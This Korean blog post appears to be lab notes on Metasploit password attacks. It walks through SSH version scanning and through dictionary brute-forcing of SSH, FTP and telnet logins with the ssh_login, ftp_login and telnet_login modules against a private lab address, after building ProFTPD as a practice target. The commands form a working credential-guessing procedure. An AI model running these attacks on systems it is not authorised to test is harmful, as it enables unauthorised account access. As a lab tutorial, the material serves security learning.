딩굴댕굴

Metasploit - 05. dictionary attack

by jennysgap

BOX

dictionary attack (bruteforce)

# msfconsole

msf> search ssh_version

msf> use auxiliary/scanner/ssh/ssh_version  

msf> show options

msf> set RHOSTS 192.168.3.220

msf> set THREADS 256 속도 (Linux인 경우 256가 Max, Windows는 16이 Max)

msf> show options

msf> run



msf> back

msf> search ssh_login (Password cracking)

msf> use auxiliary/scanner/ssh/ssh_login

* Dictionary Attack 시 사전 파일이 필요함.

# cd /usr/share/w3af/w3af/core/controllers/bruteforce/

# more users.txt

이 파일들은 수정하지말고 따로 파일을 새로 만들어서 실습할 예정


# vi /root/users.txt

# vi /root/passwords.txt

dictionary를 만드는 유틸리티가 있는데, 그것을 사용하면 부하로 컴퓨터가 죽음. 그러니 사용하지 마세요!!!!! 

그냥 구글링하면 20만개 들어있는 dictionary파일이 있음 그것을 다운받으면 됨


msf> show options

msf> set RHOSTS 192.168.3.220

msf> set THREADS 256

msf> set PASS_FILE /root/passwords.txt

msf> set USER_FILE /root/users.txt

msf> set STOP_ON_SUCCESS true (패스워드 검색 시 1개 계정이 만족되면 정지)

msf> show options

msf> run




* Dictionary Attack : Password cracking 공격 시 사전식으로 구성 된 파일을 이용하여 대입하는 방법

  > 장점 : 사전 내 존재하는 패스워드 일 경우 빠르게 찾을 수 있음.

  > 단점 : 사전 내 존재하지 않는 패스워드일 경우 패스워드 찾기 불가.


* Bruteforce Attack : Password cracking 공격 시 임의 대입법을 사용

  > 장점 : 반드시 패스워드 정보가 출력 됨 (입력 제한 없을 경우)

  > 단점 : 시간이 오래 걸림.



[예제문제]

 > ftp_login 도구를 사용하여 패스워드 찾기

[CentOS]

proftpd 사이트로 ftp 다운받기

# wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.5b.tar.gz

# tar zxvf proftpd-1.3.5b.tar.gz

# cd proftpd-1.3.5b

# ./configure

# make

# make install

# cd /usr/local/sbin

# ls

# vi /usr/local/etc/proftpd.conf

group 을 nobody로 설정

# useradd nobody

# proftpd

# ps -ef | grep proftpd


# yum list telnet

# yum install telnet



 


> telnet_login 도구를 사용하여 패스워드 찾기

[Kali]

msf> search ftp_login

msf> use auxiliary/scanner/ftp/ftp_login  

msf> show options

msf> set RHOSTS 192.168.3.220

msf> set STOP_ON_SUCCESS yes

msf> set USER_FILE /root/users.txt

msf> set PASS_FILE /root/passwords.txt

msf> set THREADS 256

msf> run


msf> search telnet_login

msf> use auxiliary/scanner/telnet/telnet_login

msf> set RHOSTS 192.168.3.220

msf> set STOP_ON_SUCCESS yes

msf> set USER_FILE /root/users.txt

msf> set PASS_FILE /root/passwords.txt

msf> set THREADS 256

msf> run










반응형

블로그의 정보

jennysgap

jennysgap

활동하기